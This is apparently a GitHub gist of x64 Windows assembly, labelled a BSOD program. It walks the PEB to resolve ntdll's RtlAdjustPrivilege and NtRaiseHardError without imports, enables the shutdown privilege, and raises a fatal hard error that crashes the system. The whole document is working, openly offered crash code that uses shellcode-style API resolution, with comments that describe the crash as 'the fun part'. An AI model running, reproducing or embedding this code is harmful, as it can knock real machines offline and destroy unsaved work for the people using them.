Skip to content

Instantly share code, notes, and snippets.

@rfl890
Last active September 18, 2025 12:33
Show Gist options
  • Save rfl890/33c8396759d829e71c956c88d6bed0cb to your computer and use it in GitHub Desktop.
Save rfl890/33c8396759d829e71c956c88d6bed0cb to your computer and use it in GitHub Desktop.
BSOD assembly code (x64 Windows)
.intel_syntax noprefix
.global main
.text
main:
/* After setup: */
/* [rsp] = number of exports */
/* [rsp + 8] = function addresses */
/* [rsp + 16] = function names */
/* [rsp + 24] = function ordinals */
/* [rsp + 32] = DLL base */
/* push rbp */
/* mov rbp, rsp */
sub rsp, 40
/* push rsi */
/* push rdi */
/* push r12 */
/* push r13 */
mov r8, gs:[0x60] /* Get PEB */
mov r8, [r8 + 0x18] /* PEB->Ldr */
mov r8, [r8 + 0x20] /* InMemoryOrderModuleList.Flink */
mov r8, [r8] /* Flink->Flink */
mov r8, [r8 + 0x20] /* DllBase (offset of LDR_DATA_TABLE_ENTRY is -0x10) */
mov [rsp + 32], r8 /* Move to stack */
mov ecx, [r8 + 0x3c] /* RVA of PE Header */
lea rcx, [r8 + rcx + 0x18] /* AddressOfOptionalHeader */
mov ecx, [rcx + 0x70] /* RVA of export directory */
lea rdx, [r8 + rcx] /* RDX = export directory */
mov ecx, [rdx + 0x18] /* Number of exports */
dec ecx
mov [rsp], rcx /* Move to stack */
mov ecx, [rdx + 0x1c] /* RVA to an array of RVAs to function pointers */
add rcx, r8 /* Add base address */
mov [rsp + 8], rcx /* Move to stack */
mov ecx, [rdx + 0x20] /* RVA to an array of RVAs to function names */
add rcx, r8 /* Add base address */
mov [rsp + 16], rcx /* Move to stack */
mov ecx, [rdx + 0x24] /* RVA to an array mapping function name indexes to ordinals */
add rcx, r8 /* Add base address */
mov [rsp + 24], rcx /* Move to stack */
mov edx, [rsp] /* Load function count into RDX */
.loop_start:
mov rdi, [rsp + 16] /* Load array of RVAs to function names into RDI */
mov edi, [rdi + (rdx * 4)] /* Load some RVA to a function name into RDI */
add rdi, [rsp + 32] /* Add base address */
mov rcx, -1 /* RCX = 0xffffffffffffffff, max search length */
xor eax, eax /* AL = 0 (null terminator) */
cld /* Search direction forward */
repne scasb
not rcx /* RCX is a negative offset from 0xffffffffffffffff */
sub rdi, rcx /* RDI now points to RDI + (~RCX), revert */
dec rcx
/* check RtlAdjustPrivilege */
cmp rcx, 18 /* original string length */
mov r12, rcx /* save as rcx gets overwritten */
mov r13, 0 /* offset */
je .cmp
/* check NtRaiseHardError */
cmp rcx, 16
mov r12, rcx
mov r13, 18
je .cmp
jne .skip
.cmp:
lea rsi, [rip + strings]
add rsi, r13
repe cmpsb
neg rcx
add rcx, r12
sub rdi, rcx
cmp r13, 0
je .r8
jne .r9
.r8:
cmp rcx, r12
cmove r8, rdx
.r9:
cmp rcx, r12
cmove r9, rdx
.skip:
dec rdx
jns .loop_start
/* now r8 = index of RtlAdjustPrivilege, r9 = index of NtRaiseHardError */
/* get the ordinals */
mov rdx, [rsp + 24]
mov r12w, [rdx + (2 * r8)]
mov r13w, [rdx + (2 * r9)]
/* get the function pointers */
mov rdx, [rsp + 8]
mov r12d, [rdx + (4 * r12)]
add r12, [rsp + 32]
mov r13d, [rdx + (4 * r13)]
add r13, [rsp + 32]
/* now the fun part :D */
/* clear stack */
add rsp, 40
/* allocate shadow space + space for 2 vars */
sub rsp, 56
mov rcx, 19
mov rdx, 1
xor r8d, r8d
lea r9, [rsp + 32]
/* call RtlAdjustPrivilege */
call r12
lea rax, [rsp + 48]
mov ecx, 0xC00002B4
xor edx, edx
xor r8d, r8d
xor r9d, r9d
mov QWORD PTR [rsp + 32], 6
mov QWORD PTR [rsp + 40], rax
/* call NtRaiseHardError */
call r13
/* add rsp, 56 */
/* pop r13 */
/* pop r12 */
/* pop rdi */
/* pop rsi */
/* mov rsp, rbp */
/* pop rbp */
/* ret */
strings:
.ascii "RtlAdjustPrivilegeNtRaiseHardError"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment